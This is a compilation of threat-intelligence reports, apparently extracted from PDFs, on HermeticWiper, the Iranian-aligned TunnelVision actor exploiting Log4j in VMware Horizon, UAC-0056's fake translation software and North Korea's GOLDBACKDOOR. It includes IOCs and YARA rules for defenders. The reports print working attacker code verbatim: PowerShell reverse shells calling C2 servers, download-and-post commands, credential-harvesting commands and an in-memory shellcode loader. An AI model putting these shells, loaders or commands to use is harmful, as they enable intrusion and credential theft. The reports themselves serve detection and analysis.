have a very small sliver of aperture into the attacks in Ukraine and subsequent spillover into
neighboring countries and allies. If there
s a silver lining to such a difficult situation, it
seeing the open collaboration between threat intel research teams, independent researchers,
and journalists looking to get the story straight. Our thanks to the researchers at Symantec,
ESET, Stairwell, and RedCanary among others who
ve contributed samples, time, and
expertise.
SentinelOne Customers Protected
Watch Video At: https://youtu.be/keWfVA6F4IM
Indicators of Compromise
HermeticWiper
SHA1
Win32 EXE
912342f1c840a42f6b74132f8a7c4ffe7d40fb77
Win32 EXE
61b25d11392172e587d8da3045812a66c3385451
ms-compressed
SHA1
RCDATA_DRV_X64
a952e288a1ead66490b3275a807f52e5
RCDATA_DRV_X86
231b3385ac17e41c5bb1b1fcb59599c4
RCDATA_DRV_XP_X64
095a1678021b034903c85dd5acb447ad
RCDATA_DRV_XP_X86
eb845b7a16ed82bd248e395d9852f467
rule MAL_HERMETIC_WIPER {
meta:
desc = "HermeticWiper - broad hunting rule"
author = "Friends @ SentinelLabs"
version = "1.0"
last_modified = "02.23.2022"
hash = "1bc44eef75779e3ca1eefb8ff5a64807dbc942b1e4a2672d77b9f6928d292591"
strings:
$string1 = "DRV_XP_X64" wide ascii nocase
$string2 = "EPMNTDRV\\%u" wide ascii nocase
$string3 = "PhysicalDrive%u" wide ascii nocase
$cert1 = "Hermetica Digital Ltd" wide ascii nocase
condition:
uint16(0) == 0x5A4D and
all of them
Log4j2 In The Wild | Iranian-Aligned Threat Actor
TunnelVision
 Actively Exploiting VMware Horizon
sentinelone.com/labs/log4j2-in-the-wild-iranian-aligned-threat-actor-tunnelvision-actively-exploiting-vmware-horizon
Amitai Ben Shushan Ehrlich
By Amitai Ben Shushan Ehrlich and Yair Rigevsky
Executive Summary
SentinelLabs has been tracking the activity of an Iranian-aligned threat actor operating
in the Middle-East and the US.
Due to the threat actor
s heavy reliance on tunneling tools, as well as the unique way it
chooses to widely deploy those, we track this cluster of activity as TunnelVision.
Much like other Iranian threat actors operating in the region lately, TunnelVision
activities were linked to deployment of ransomware, making the group a potentially
destructive actor.
Overview
TunnelVision activities are characterized by wide-exploitation of 1-day vulnerabilities in
target regions. During the time we
ve been tracking this actor, we have observed wide
exploitation of Fortinet FortiOS (CVE-2018-13379), Microsoft Exchange (ProxyShell) and
recently Log4Shell. In almost all of those cases, the threat actor deployed a tunneling tool
wrapped in a unique fashion. The most commonly deployed tunneling tools used by the
group are Fast Reverse Proxy Client (FRPC) and Plink.
TunnelVision activities are correlated to some extent with parts of Microsoft
s Phosphorus, as
discussed further in the Attribution section.
In this post, we highlight some of the activities we recently observed from TunnelVision
operators, focusing around exploitation of VMware Horizon Log4j vulnerabilities.
VMware Horizon Exploitation
The exploitation of Log4j in VMware Horizon is characterized by a malicious process
spawned from the Tomcat service of the VMware product ( C:\Program
Files\VMware\VMware View\Server\bin\ws_TomcatService.exe ).
TunnelVision attackers have been actively exploiting the vulnerability to run malicious
PowerShell commands, deploy backdoors, create backdoor users, harvest credentials and
perform lateral movement.
Typically, the threat actor initially exploits the Log4j vulnerability to run PowerShell
commands directly, and then runs further commands by means of PS reverse shells, executed
via the Tomcat process.
PowerShell Commands
TunnelVision operators exploited the Log4j vulnerability in VMware Horizon to run
PowerShell commands, sending outputs back utilizing a webhook. In this example, the threat
actor attempted to download ngrok to a compromised VMware Horizon server:
try{
(New-Object
System.Net.WebClient).DownloadFile("hxxp://transfer.sh/uSeOFn/ngrok.exe","C:\\Users\Pu
Rename-Item 'c://Users//public//new.txt' 'microsoft.exe';
$a=iex 'dir "c://Users//public//"' | Out-String;
iwr -method post -body $a https://webhook.site/{RANDOM-GUID} -UseBasicParsing;
}catch{
iwr -method post -body $Error[0] https://webhook.site/{RANDOM-GUID} UseBasicParsing;
Throughout the activity the usage of multiple legitimate services was observed. Given an
environment is compromised by TunnelVision, it might be helpful to look for outbound
connections to any of those legitimate public services:
transfer.sh
pastebin.com
webhook.site
ufile.io
raw.githubusercontent.com
Reverse Shell #1
$c = ""
$p = ""
$r = ""
$u = "hxxps://www.microsoft-updateserver.cf/gadfTs55sghsSSS"
$wc = New-Object System.Net.WebClient
$li = (Get-NetIPAddress -AddressFamily IPv4).IPAddress[0];
$c = "whoami"
$c = 'Write-Host " ";'+$c
$r = &(gcm *ke-e*) $c | Out-String > "c:\programdata\$env:COMPUTERNAME-$li"
$ur = $wc.UploadFile("$u/phppost.php" , "c:\programdata\$env:COMPUTERNAME-$li")
while($true)
$c = $wc.DownloadString("$u/$env:COMPUTERNAME-$li/123.txt")
$c = 'Write-Host " ";'+$c
if($c -ne $p)
$r = &(gcm *ke-e*) $c | Out-String > "c:\programdata\$env:COMPUTERNAME-$li"
$p = $c
$ur = $wc.UploadFile("$u/phppost.php" ,
"c:\programdata\$env:COMPUTERNAME-$li")
sleep 3
Reverse Shell #1 was used in the past by TunnelVision operators
(7feb4d36a33f43d7a1bb254e425ccd458d3ea921), utilizing a different C2 server:
hxxp://google.onedriver-srv.ml/gadfTs55sghsSSS
. This C2 was referenced in several
articles analyzing TunnelVision activities.
Throughout the activity the threat actor leveraged another domain, servicemanagement[.]tk , used to host malicious payloads. According to VirusTotal, this domain
was also used to host a zip file (d28e07d2722f771bd31c9ff90b9c64d4a188435a) containing a
custom backdoor (624278ed3019a42131a3a3f6e0e2aac8d8c8b438).
The backdoor drops an additional executable file
(e76e9237c49e7598f2b3f94a2b52b01002f8e862) to %ProgramData%\Installed
Packages\InteropServices.exe and registers it as a service named 
InteropServices
The dropped executable contains an obfuscated version of the reverse shell as described
above, beaconing to the same C2 server ( www[.]microsoft-updateserver[.]cf ).
Although it is not encrypted, it is deobfuscated and executed in a somewhat similar manner
to how PowerLess, another backdoor used by the group, executes its PowerShell payload.
Reverse Shell #2
$hst = "51.89.135.142";
$prt = 443;
function watcher() {;
$limit = (Get - Random - Minimum 3 - Maximum 7);
$stopWatch = New - Object - TypeName System.Diagnostics.Stopwatch;
$timeSpan = New - TimeSpan - Seconds $limit;
$stopWatch.Start();
while ((($stopWatch.Elapsed).TotalSeconds - lt $timeSpan.TotalSeconds) ) {};
$stopWatch.Stop();
watcher;
$arr = New - Object int[] 500;
for ($i = 0;
$i - lt 99;
$i++) {;
$arr[$i] = (Get - Random - Minimum 1 - Maximum 25);
if ($arr[0] - gt 0) {;
$valksdhfg = New - Object System.Net.Sockets.TCPClient($hst, $prt);
$banljsdfn = $valksdhfg.GetStream();
[byte[]]$bytes = 0..65535|% {
while (($i = $banljsdfn.Read($bytes, 0, $bytes.Length)) - ne 0) {;
$lkjnsdffaa = (New - Object - TypeName
System.Text.ASCIIEncoding).GetString($bytes, 0, $i);
$nsdfgsahjxx = (&(gcm('*ke-exp*')) $lkjnsdffaa 2 > &1 | Out - String );
$nsdfgsahjxx2 = $nsdfgsahjxx + (pwd).Path + "> ";
$sendbyte = ([text.encoding]::ASCII).GetBytes($nsdfgsahjxx2);
$banljsdfn.Write($sendbyte, 0, $sendbyte.Length);
$banljsdfn.Flush();
watcher
$valksdhfg.Close();
Most of the 
online
 activities we observed were performed from this PowerShell backdoor. It
seems to be a modified variant of a publicly available PowerShell one-liner.
Among those activities were:
Execution of recon commands.
Creation of a backdoor user and adding it to the administrators group.
Credential harvesting using Procdump, SAM hive dumps and comsvcs MiniDump.
Download and execution of tunneling tools, including Plink and Ngrok, used to tunnel
RDP traffic.
Execution of a reverse shell utilizing VMware Horizon NodeJS component[1,2].
Internal subnet RDP scan using a publicly available port scan script.
Throughout the activity, the threat actor utilized a github repository 
VmWareHorizon
 of an
account owned by the threat actor, using the name 
protections20
Attribution
TunnelVision activities have been discussed previously and are tracked by other vendors
under a variety of names, such as Phosphorus (Microsoft) and, confusingly, either Charming
Kitten or Nemesis Kitten (CrowdStrike).
This confusion arises since activity that Microsoft recognizes as a single group,
Phosphorous
, overlaps with activity that CrowdStrike distinguishes as belonging to two
different actors, Charming Kitten and Nemesis Kitten.
We track this cluster separately under the name 
TunnelVision
. This does not imply we
believe they are necessarily unrelated, only that there is at present insufficient data to treat
them as identical to any of the aforementioned attributions.
Indicators of Compromise
TYPE
INDICATOR
NOTES
Domain
www[.]microsoftupdateserver[.]cf
Command and Control (C2) Server
Domain
www[.]service-management[.]tk
Payload server
51.89.169[.]198
Command and Control (C2) Server
142.44.251[.]77
Command and Control (C2) Server
51.89.135[.]142
Command and Control (C2) Server
51.89.190[.]128
Command and Control (C2) Server
51.89.178[.]210
Command and Control (C2) Server,
Tunneling Server
142.44.135[.]86
Tunneling Server
182.54.217[.]2
Payload Server
Github
Account
https://github.com/protections20
Account utilized to host payloads
Threat Actor UAC-0056 Targeting Ukraine with Fake
Translation Software
sentinelone.com/blog/threat-actor-uac-0056-targeting-ukraine-with-fake-translation-software
March 15, 2022
Overview
SentinelOne has identified new malicious activity we assess to be closely associated with the
UAC-0056 (SaintBear, UNC2589, TA471) alert, in which the threat actor was observed
targeting Ukraine with Cobalt Strike, GrimPlant, and GraphSteel. This previously
undiscovered set of activity centers around a Python-compiled binary that masquerades as
Ukrainian language translation software, leading to the infection of GrimPlant, and
GraphSteel.
SentinelOne assesses UAC-0056
s GrimPlant and GraphSteel activity began in early February
2022, while preparation for its use began at least as early as December 2021.
Dictionary Translator
SentinelOne has identified two files with names and paths correlating to the GraphSteel and
GrimPlant malware referred to in the report by CERT-UA.
C:\Users\user\.java-sdk\microsoftcortana.exe
d77421caae67f4955529f91f229b31317dff0a95
C:\Users\user\.java-sdk\oracle-java.exe
ef5400f6dbf32bae79edb16c8f73a59999e605c7
The two files identified are Go binaries dropped by the executable
2a60b4e1eb806f02031fe5f143c7e3b7 (dictionary-translator.exe). Dictionary-translator is
a Python compiled binary that functions as a 45 MB translation application. Notably, this file
was first uploaded to VirusTotal on February 11th 2022.
Translation Application
The Dictionary-translator binary is downloaded from the potentially actor-controlled
domain: hxxps://dictionary-translator[.]eu/program/dictionarytranslator.exe .
On launch, the translator application drops and executes four malicious files. These correlate
to those described in the report by the Ukrainian CERT, three by name and path and one by
functionality and path.
Matched File Path
UA-CERT Report Link (MD5)
\Users\user\AppData\Local\Temp\tmpj43i5czq.exe
15c525b74b7251cfa1f7c471975f3f95
\Users\user\.java-sdk\java-sdk.exe
c8bf238641621212901517570e96fae7
\Users\user\.java-sdk\microsoft-cortana.exe
9ea3aaaeb15a074cd617ee1dfdda2c26
\Users\user\.java-sdk\oracle-java.exe
4f11abdb96be36e3806bada5b8b2b8f8
Post-Compromise Activity
Upon execution, the GraphSteel variant of the malware will run a set of reconnaissance and
credential harvesting commands, again similar to those described in the report.
netsh wlan show profiles
[void]
[Windows.Security.Credentials.PasswordVault,Windows.Security.Credentials,ContentType=W
= New-Object Windows.Security.Credentials.PasswordVault;$vault.RetrieveAll() | % {
$_.RetrievePassword();$_} | Select UserName, Resource, Password | Format-Table HideTableHeaders
reg query HKCU\Software\SimonTatham\Putty\Sessions
Additionally, the malware achieves persistence by setting the current user
s registry
CurrentVersion\Run value to execute the Go downloader at logon:
Key: HKU\%SID%\Software\Microsoft\Windows\CurrentVersion\Run\Java-SDK
Value: \Users\user\.java-sdk\java-sdk.exe -a FIAjtW4f+IgCUrs3hfj9Lg==
The variant discovered by SentinelOne attempts to connect to a different server using a
similar pattern, attempting to establish a HTTP connection over port 443 to a single
character letter URI: hxxp://91.242.229.35:443/i .
Clarification on Threat Actor UAC-0056
UAC-0056 has a history of public reporting but is most commonly known as UNC2589
(Mandiant) and TA471 (Proofpoint), among others. This actor is believed to be behind the
WhisperGate activity in early January 2022 impacting government agencies in Ukraine.
Based on our analysis, the actor was potentially building the infrastructure for the GrimPlant
and GraphSteel campaign beginning in December 2021.
Timeline Demonstrating Known UAC-0056 Activity
Indicators of Compromise
IOC / SHA1
Description
dictionary-translator[.]eu
Dictionary-translator.exe Download
Server
91.242.229[.]35:443/i
Go Downloader C2
3eec65c8ac25682d9e7d293ca9033c8a841f4958
Go Downloader
d77421caae67f4955529f91f229b31317dff0a95
GraphSteel Linked
ef5400f6dbf32bae79edb16c8f73a59999e605c7
GrimPlant Linked
3847ca79b3fd52b105c5e43b7fc080aac7c5d909
Dictionary-translator Program
The ink-stained trail of
GOLDBACKDOOR
Threat report
Silas Cutler, Principal Reverse Engineer
21/04/2022
The ink-stained trail of GOLDBACKDOOR
Threat report
Table of contents
GOLDBACKDOOR deployment
Stage 1
Kang Min-chol Edits 2.zip
Kang Min-chol Edits 2.lnk
Stage 2
Fantasy injector
Final dropper
GOLDBACKDOOR
Tracking document
Conclusion
Appendix
YARA rules
Infrastructure
Files
04/2022
The ink-stained trail of GOLDBACKDOOR
Threat report
Over the past 10 years, the Democratic People's Republic of Korea (DPRK) has adopted cyber
operations as a key means of supporting the regime. While significant attention has been paid to the
purported use of these operations as a means of funding DPRK
s military programs, the targeting of
researchers, dissidents, and journalists likely remains a key area for supporting the country's
intelligence operations.
Journalists are high-value targets for hostile governments. They often are aggregators of stories from
many individuals 
 sometimes including those with sensitive access. Compromising a journalist can
provide access to highly-sensitive information and enable additional attacks against their sources.
On 18 March 2022, NK News shared multiple malicious artifacts with the Stairwell threat research team
from a spear-phishing campaign targeting journalists who specialize in the DPRK. These messages were
sent from the personal email of a former director of South Korea
s National Intelligence Service (NIS).
One of these artifacts was a new malware sample we have named GOLDBACKDOOR, based on an
embedded development artifact.
Stairwell assesses with medium-high confidence that GOLDBACKDOOR is the successor of, or used in
parallel with, the malware BLUELIGHT, attributed to APT37 / Ricochet Chollima. This assessment is
based on technical overlaps between the two malware families and the impersonation of NK News, a
South Korean news site focused on the DPRK.
NK News has published an article detailing the incident and this report will outline the technical process
in which GOLDBACKDOOR is deployed on infected systems.
04/2022
The ink-stained trail of GOLDBACKDOOR
Threat report
GOLDBACKDOOR deployment
Deployment of GOLDBACKDOOR is a multi-stage process, likely designed to avoid detection by
antivirus or endpoint security. This process can be logically subdivided into two major components,
each with two subsections. A high-level overview of the deployment process is shown below:
By separating the first stage tooling and the final payload, the actor retains the ability to halt
deployment after initial targets are infected. Additionally, this design may limit the ability to conduct
retrospective analysis once payloads are removed from control infrastructure.
Stage 1
Kang Min-chol Edits 2.zip
The deployment chain for GOLDBACKDOOR in this incident was predicated on a user downloading a ZIP
file from https[:]//main[.]dailynk[.]us/regex?id=oTks2&file=Kang Min-chol Edits
2.zip and executing a compressed Windows shortcut. The domain dailynk[.]us was likely chosen to
impersonate NK News (dailynk[.]com), previously used by APT37 as a strategic web compromise
(SWC) using CVE-2020-1380 and CVE-2021-26411. At the time of initial analysis, the domain
04/2022
The ink-stained trail of GOLDBACKDOOR
Threat report
mail[.]dailynk[.]us had stopped resolving; however, from historic DNS resolutions, we were able to
identify 142.93.201[.]77 as the last address this domain resolved and were able to retrieve the ZIP
file.
This ZIP file (SHA256 hash:
9eddd99db6f5a7791f7e446792f04b301d29f6b0596920e8b39647cc7585185d) was named Kang
Min-chol Edits 2.zip and contains a single Windows shortcut file. Timestamps in the ZIP file show
that the contained file was added on 17 March 2022 at 16:51 UTC.
Kang Min-chol Edits 2.lnk
Contained within the initial ZIP archive was a 282.7 MB Windows shortcut file (LNK) named Kang
Min-chol Edits 2.lnk (SHA256 hash:
120ca851663ef0ebef585d716c9e2ba67bd4870865160fec3b853156be1159c5). The attackers
masqueraded this shortcut as a document, using both the icon for Microsoft Word and adding
comments similar to a Word document. Additionally, this LNK file was padded with 0x90 (or NOP/No
Operation) bytes to artificially increase the size of this file, potentially as a means of preventing upload
to detection services or malware repositories.
When this LNK file is executed, it executes a PowerShell script that writes and opens a decoy document
before starting the deployment process of GOLDBACKDOOR. A formatted version the PowerShell
command and executed script are shown below:
%windir%\SysWOW64\cmd.exe /c powershell -windowstyle hidden
$dirPath = Get-Location;
if($dirPath -Match 'System32' -or $dirPath -Match 'Program Files') {
$dirPath = '%temp%'
$lnkpath = Get-ChildItem -Path $dirPath -Recurse *.lnk ^| where-object {
$_.length -eq 0x0010D98A06
} ^| Select-Object -ExpandProperty FullName;
$pdfFile = gc $lnkpath -Encoding Byte -TotalCount 00547552 -ReadCount 00547552;
$pdfPath = '%temp%\Kang Min-chol Edits 2.doc';
sc $pdfPath ([byte[]]($pdfFile ^| select -Skip 009440)) -Encoding Byte; ^& $pdfPath;
$won11 ="$temple="""5B4E...(Removed for readability)...293B""";
$martin="""""";
for($i=0;$i -le $temple.Length-2;$i=$i+2){
$Sorre=$temple[$i]+$temple[$i+1];
$martin= $martin+[char]([convert]::toint16($Sorre,16));
Invoke-Command -ScriptBlock ([Scriptblock]::Create($martin));";
Invoke-Command -ScriptBlock ([Scriptblock]::Create($won11));
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The decoy document (SHA256 hash:
94ca32c0a3002574d7ea1bef094146a9d3b2ad0018b3e3d3f4ffca8689b89e5a) dropped by this LNK
file is embedded at file offset 0x24E0 (9440) and written to %temp%\Kang Min-chol Edits 2.doc,
before being opened. The following screenshot shows the opened document after a user runs the
shortcut. To a user executing the LNK file, believing it was a legitimate document, the only indication
that something suspicious was underway may have been a short delay while the document was
extracted and written to disk.
Screenshot of decoy document
After deploying the decoy document, the PowerShell script decodes a second PowerShell script,
hex-encoded in the $temple variable, which it executes using Invoke-Command. A decoded and
formatted version of the second PowerShell script is shown below:
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[Net.ServicePointManager]::SecurityProtocol=[Enum]::ToObject([Net.SecurityProtocolType], 3072);
$aa='[DllImport("kernel32.dll")]public static extern IntPtr GlobalAlloc(uint b,uint c);
$b=Add-Type -MemberDefinition $aa -Name "AAA" -PassThru;
$abab = '[DllImport("kernel32.dll")]public static extern bool VirtualProtect(IntPtr a,uint b,uint
c,out IntPtr d);';
$aab=Add-Type -MemberDefinition $abab -Name "AAB" -PassThru;
$c = New-Object System.Net.WebClient;
$d="hxxps://api[.]onedrive[.]com/v1.0/shares/u!aHR0cHM6Ly8xZHJ2Lm1zL3UvcyFBcjl6ZnJ3eFdXRW9hczVYaV
c5TWUxNGlhQnM_ZT0wZVdDcTc/root/content";
$bb='[DllImport("kernel32.dll")]public static extern IntPtr CreateThread(IntPtr a,uint b,IntPtr
c,IntPtr d,uint e,IntPtr f);';
$ccc=Add-Type -MemberDefinition $bb -Name "BBB" -PassThru;
$ddd='[DllImport("kernel32.dll")]public static extern IntPtr WaitForSingleObject(IntPtr a,uint
b);';
$fff=Add-Type -MemberDefinition $ddd -Name "DDD" -PassThru;
$e=112;
do {
try {
$c.Headers["user-agent"] = "connnecting...";
$xmpw4=$c.DownloadData($d);
$x0 = $b::GlobalAlloc(0x0040, $xmpw4.Length+0x100);
$old = 0;
$aab::VirtualProtect($x0, $xmpw4.Length+0x100, 0x40, [ref]$old);
for ($h = 1; $h -lt $xmpw4.Length; $h++) {
[System.Runtime.InteropServices.Marshal]::WriteByte($x0, $h-1, ($xmpw4[$h] -bxor
$xmpw4[0]) );
try{throw 1;}
catch{
$handle=$ccc::CreateThread(0,0,$x0,0,0,0);
$fff::WaitForSingleObject($handle, 500*1000);
$e=222;
catch{
sleep 11;
$e=112;
} while($e -eq 112);
When executed, this second PowerShell script will download and execute a shellcode payload (XOR
encoded using the first-byte as a key) stored on Microsoft OneDrive. When manually downloaded
during analysis, this payload was named Fantasy.
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Stage 2
Fantasy injector
Fantasy is the first of a two-part process for deploying GOLDBACKDOOR. Both parts are written in
position-independent code (shellcode) containing an embedded payload, and use process injection to
deploy GOLDBACKDOOR.
Shellcode typically resolves external Windows API calls at runtime. Fantasy uses a common technique
for this, which involves parsing the InLoadOrderModuleList structure of the Process Environment
Block (PEB) of the parent process to generate a list of libraries already loaded. When Fantasy needs to
use one of these API calls, it passes a hashed value of the intended API call to a dedicated function that
returns the corresponding address. This function hashes loaded Windows API names and libraries until
it matches the requested hash. A pseudocode implementation of this hashing is shown below:
def resolve_import(apiName, dllFilename):
# Ex:
# apiName = VirtualAlloc
# dllFilename: unicode(kernel32.dll)
# Return: 0xAA7ADB76
dllHash = 0
nameHash = 0
for c in dllFilename:
dllHash = ror(dllHash, 11, 32)
if ord(c) >= 97:
dllHash -= 32
dllHash = ord(c) + dllHash
for i in apiName:
nameHash = ror(nameHash, 15, 32) + i
nameHash = (nameHash ^ dllHash)
return nameHash
Upon execution, Fantasy parses files under %WINDIR%\System32 until one is found that ends in .exe
that Fantasy has read access. The full path to the identified executable file is written to
%localappdata%\\log_gold.txt, possibly for debugging purposes, before being started in a
suspended state using CreateProcessA and passing the CREATE_SUSPENDED flag.
Once a suspended process has been created, Fantasy will decode a shellcode payload, which will be
injected into the newly created process. The injected payload is stored at offset 0x672 and obfuscated
using a single byte eXclusive OR (XOR) cipher. The size and XOR key for this payload are structured
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using a distinctive format to avoid statically defining values in the shellcode. A representation of this
structure is shown below:
00000000 23 fa 53 10 00 a0 cf 3f ae 67 07 2f 9a 68 34 ee
00000010 78 76 75 10 ce 76 49 33 73 cb a5 23 23 23 dc f3
 XOR key
fa 53 10 00
- Payload size
a0 cf 3f ae... - Encoded payload data
S.. 
g./.h4
|xvu.
vI3s
After this payload is decoded, Fantasy uses a standard process involving VirtualAllocEx,
WriteProcessMemory, and RtlCreateUserThread to spawn a thread under the previously created
process for execution of this payload.
Final dropper
The shellcode payload, running as a thread in a process created by Fantasy, is responsible for the final
deployment of GOLDBACKDOOR. Fundamentally, this component is close in design and functionality to
its parent shellcode loader; it uses the same method for API resolution, payload structure, and writes a
log file to %localappdata%\\log_gold2.txt.
The payload delivered by this stage is a Windows Portable Executable (PE) file for GOLDBACKDOOR. As
with the previous shellcode payload, the first byte is used as an XOR key and the proceeding DWORD
defines the size of the encoded payload. After decoding, the PE header of the payload is parsed for its
respective EntryPoint1, which is then called to begin the execution of GOLDBACKDOOR.
GOLDBACKDOOR
The identified copy of GOLDBACKDOOR is a Windows Portable Executable (PE) file with a build
timestamp of 9 February 2022 02:38:30 UTC and contains a Program Database (PDB) path reference to
D:\Development\GOLD-BACKDOOR\Release\FirstBackdoor.pdb, from which was named.
In contrast with the timestamps of files in the ZIP file, which were added within hours of being sent to
targets, this executable was created over a month prior, potentially indicating the final payload is not
customized on a per-target basis. While it is unclear from this sample alone if individual operators have
the ability to generate on-demand unique copies of GOLDBACKDOOR, these types of time deltas can
sometimes be reflective of actor groups composed of separated operational and development teams.
https://docs.microsoft.com/en-us/windows/win32/debug/pe-format
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During Stairwell
s analysis of this malware, the identified PDB path in GOLDBACKDOOR led to the initial
linking of this malware to a copy of BLUELIGHT, reported by Volexity2 in August 2021, containing a PDB
path of E:\Development\BACKDOOR\ncov\Release\bluelight.pdb. Based on corresponding build
paths, it
s likely both malware families were created by a common development resource.
GOLDBACKDOOR utilizes cloud service providers for receiving actor commands and exfiltrating data.
The sample analyzed as part of this investigation used Microsoft OneDrive and Graph APIs, while an
additional identified sample (SHA256 hash:
485246b411ef5ea9e903397a5490d106946a8323aaf79e6041bdf94763a0c028) used Google Drive.
Embedded in the analyzed copy of GOLDBACKDOOR are a set of API keys used to authenticate against
Azure and retrieve commands for execution. Received commands are prefixed with a single-character
value, which denotes the corresponding task requested of the malware.
GOLDBACKDOOR provides attackers with basic remote command execution, file
downloading/uploading, keylogging, and the ability to remotely uninstall. This functionality and
implementation closely match BLUELIGHT; however, the increased focus appears to have been placed
on file collection and keylogging. A list of file extensions checked for by this malware are listed below:
jpg, doc, xls, ppt, hwp, url, csv, pdf, show, cell, eml, odt, rft, nxl, amr, 3gp, m4a, txt, msg,
key, der, cer, docx, xlsx, pptx, pfx, mp3, inf, jog, bin
Tracking document
While analyzing the deployment chain of GOLDBACKDOOR, NK News provided a second file (SHA256
hash: c5369c2ce7f33d6cd209cd61226a0637adc809b864deb73a98d78bfed0883163) that was sent
by the attackers and initially staged on Microsoft OneDrive. Contained in this ZIP file was a single
Microsoft Word document named Kang Min-chol Edits 2.doc (SHA256 hash:
18c9fd4f781789cd15cee4fcb18fa983897fc9876422d662a2243ff7499f5948), consistent with the
file names from the initial phishing attempt.
The content of this document matches that of the decoy document deployed by the LNK file in the
previous phishing attempt, with one critical addition. Embedded in the document is a reference to an
external image hosted on the cloud application platform Heroku. When viewed in Microsoft Word, if this
link returns an image, it will be presented as part of the document; otherwise, it may go unnoticed by a
user. When the document is viewed using the GNU strings tool, the embedded link is easily seen:
https://www.volexity.com/blog/2021/08/17/north-korean-apt-inkysquid-infects-victims-using-browser-exploits/
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Embedded link in tracking document
Based on the URL path and value in the id field corresponding to the document
s name, it is likely this
was included to give the attacker visibility into when and where the document was opened. This type of
operational security tradecraft is generally consistent with sophisticated threat actors with mature
offensive programs.
Conclusion
Tracking cyber threats is an iterative process, and no incident provides us with a complete view into
every aspect of a threat actor's history. However, every incident affords us the opportunity to learn
something new. Over time, we develop an understanding of the range of an actor's capabilities,
objectives, and tradecraft.
Based on the presented analysis, the GOLDBACKDOOR malware shares strong technical overlaps with
the BLUELIGHT malware. These overlaps, along with the suspected shared development resource and
impersonation of NK News, support our attribution of GOLDBACKDOOR to APT37.
Stairwell would like to thank NK News for the opportunity to assist in this investigation, the SentinelOne
research team for their support, and Volexity for their outstanding prior research into this actor.
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Appendix
YARA rules
Stairwell's Inception users already have access to these rules automatically.
rule NK_GOLDBACKDOOR_LNK
meta:
author= "Silas Cutler (silas@Stairwell.com)"
description = "Detection for LNK file used to deploy GOLDBACKDOOR"
version = "0.1"
strings:
$ = "WINWORD.exe" wide nocase
$ = "$won11 =\"$temple=" wide
$ = "dirPath -Match 'System32' -or $dirPath -Match 'Program Files'" wide
condition:
2 of them and uint16(0) == 0x4c
rule NK_GOLDBACKDOOR_LNK_payload
meta:
author= "Silas Cutler (silas@Stairwell.com)"
description = "Detection for obfuscated Powershell contained in LNK file that deploys
GOLDBACKDOOR"
version = "0.1"
strings:
$ = "WriteByte($x0, $h-1, ($xmpw4[$h] -bxor $xmpw4[0]" ascii wide nocase
condition:
all of them
rule NK_GOLDBACKDOOR_obf_payload
meta:
author= "Silas Cutler (silas@Stairwell.com)"
description = "Detection for encoded shellcode payload downloaded by LNK file that drops
GOLDBACKDOOR"
version = "0.1"
strings:
$init = { e6b3 6d0a 6502 1e67 0aee e7e6 e66b eac2 }
condition:
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$init at 0
rule NK_GOLDBACKDOOR_inital_shellcode
meta:
author= "Silas Cutler (silas@Stairwell.com)"
description = "Detection for initial shellcode loader used to deploy GOLDBACDOOR"
version = "0.1"
strings:
//seg000:07600058 8D 85 70 FE FF FF
eax, [ebp+var_190]
//seg000:0760005E C7 45 C4 25 6C 6F 63
dword ptr [ebp+var_3C],
'col%'
//seg000:07600065 50
push
//...
//seg000:0760008F C7 45 D8 6F 6C 64 2E
dword ptr
[ebp+var_3C+14h], '.dlo'
//seg000:07600096 C7 45 DC 74 78 74 00
dword ptr
[ebp+var_3C+18h], 'txt'
$ = { C7 45 C4 25 6C 6F 63 50 8D 45 C4 C7 45 C8 61 6C 61 70 8B F9 C7 45
CC 70 64 61 74 50 B9 BD 88 17 75 C7 45 D0 61 25 5C 6C 8B DA C7 45 D4 6F
67 5F 67 C7 45 D8 6F 6C 64 2E C7 45 DC 74 78 74 00 }
// Import loaders
$ = { 51 50 57 56 B9 E6 8E 85 35 E8 ?? ?? ?? ?? FF D0 }
$ = { 6A 40 68 00 10 00 00 52 6A 00 FF 75 E0 B9 E3 18 90 72 E8 ?? ?? ?? ?? FF D0}
condition:
all of them
rule NK_GOLDBACKDOOR_injected_shellcode
meta:
author= "Silas Cutler (silas@Stairwell.com)"
description = "Detection for injected shellcode that decodes GOLDBACKDOOR"
version = "0.1"
strings:
$dec_routine = { 8A 19 57 8B FA 8B 51 01 83 C1 05 85 D2 74 0E 56 8B C1 8B F2 30 18 40 83
EE 01 75 F8 5E 57 }
$rtlfillmemory_load = {B9 4B 17 CD 5B 55 56 33 ED 55 6A 10 50 E8 86 00 00 00 FF D0}
$ = "StartModule"
$log_file_name = {C7 44 24 3C 25 6C 6F 63 50 8D 44 24 40 C7 44 24 44 61 6C 61 70 50 B9 BD
88 17 75 C7 44 24 4C 70 64 61
74 C7 44 24 50 61 25 5C 6C C7 44 24 54 6F 67 5F 67 C7 44 24 58 6F 6C 64 32 C7 44 24
5C 2E 74 78 74}
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$ = { B9 8E 8A DD 8D 8B F0 E8 E9 FB FF FF FF D0 }
condition:
3 of them
rule NK_GOLDBACKDOOR_generic_shellcode
meta:
author= "Silas Cutler (silas@Stairwell.com)"
description = "Generic detection for shellcode used to drop GOLDBACKDOOR"
version = "0.1"
strings:
$ = { B9 8E 8A DD 8D 8B F0 E8 ?? ?? ?? ?? FF D0 }
$ = { B9 8E AB 6F 40 [1-10] 50 [1-10] E8 ?? ?? ?? ?? FF D0 }
condition:
all of them
rule NK_GOLDBACKDOOR_Main
meta:
author= "Silas Cutler"
description = "Detection for Main component of GOLDBACKDOOR"
version = "0.1"
strings:
$str1 = "could not exec bash command." wide
$str2 = "%userprofile%\\AppData" wide
$str3 = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/90.0.3112.113 Safari/537.36" wide
$str4 = "tickount: %d"
$str5 = "Service-0x" wide
$str6 = "Main Returned"
$b64_1 = "TwBuAGUARAByAHYAVQBwAGQAYQB0AGUAAAA="
$b64_2 = "aGFnZW50dHJheQ=="
$b64_3 = "YXBwbGljYXRpb24vdm5kLmdvb2dsZS1hcHBzLmZvbGRlcg=="
$pdb = "D:\\Development\\GOLD-BACKDOOR\\"
condition:
4 of them or ( $pdb and 1 of them )
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Infrastructure
Indicator
Type
Date Active
Description
main[.]dailynk[.]us
Domain
March 2022
Domain used for staging malicious document
142.93.201[.]77
IP address
March 2022
IP address main[.]dailynk[.]us resolved to at the time of the
incident
Files
File Name
File Type
Size
SHA256 Hash
Kang Min-chol Edits 2.zip
Zip archive file
487K
9eddd99db6f5a7791f7e446792f04b301d
29f6b0596920e8b39647cc7585185d
Kang Min-chol Edits 2.lnk
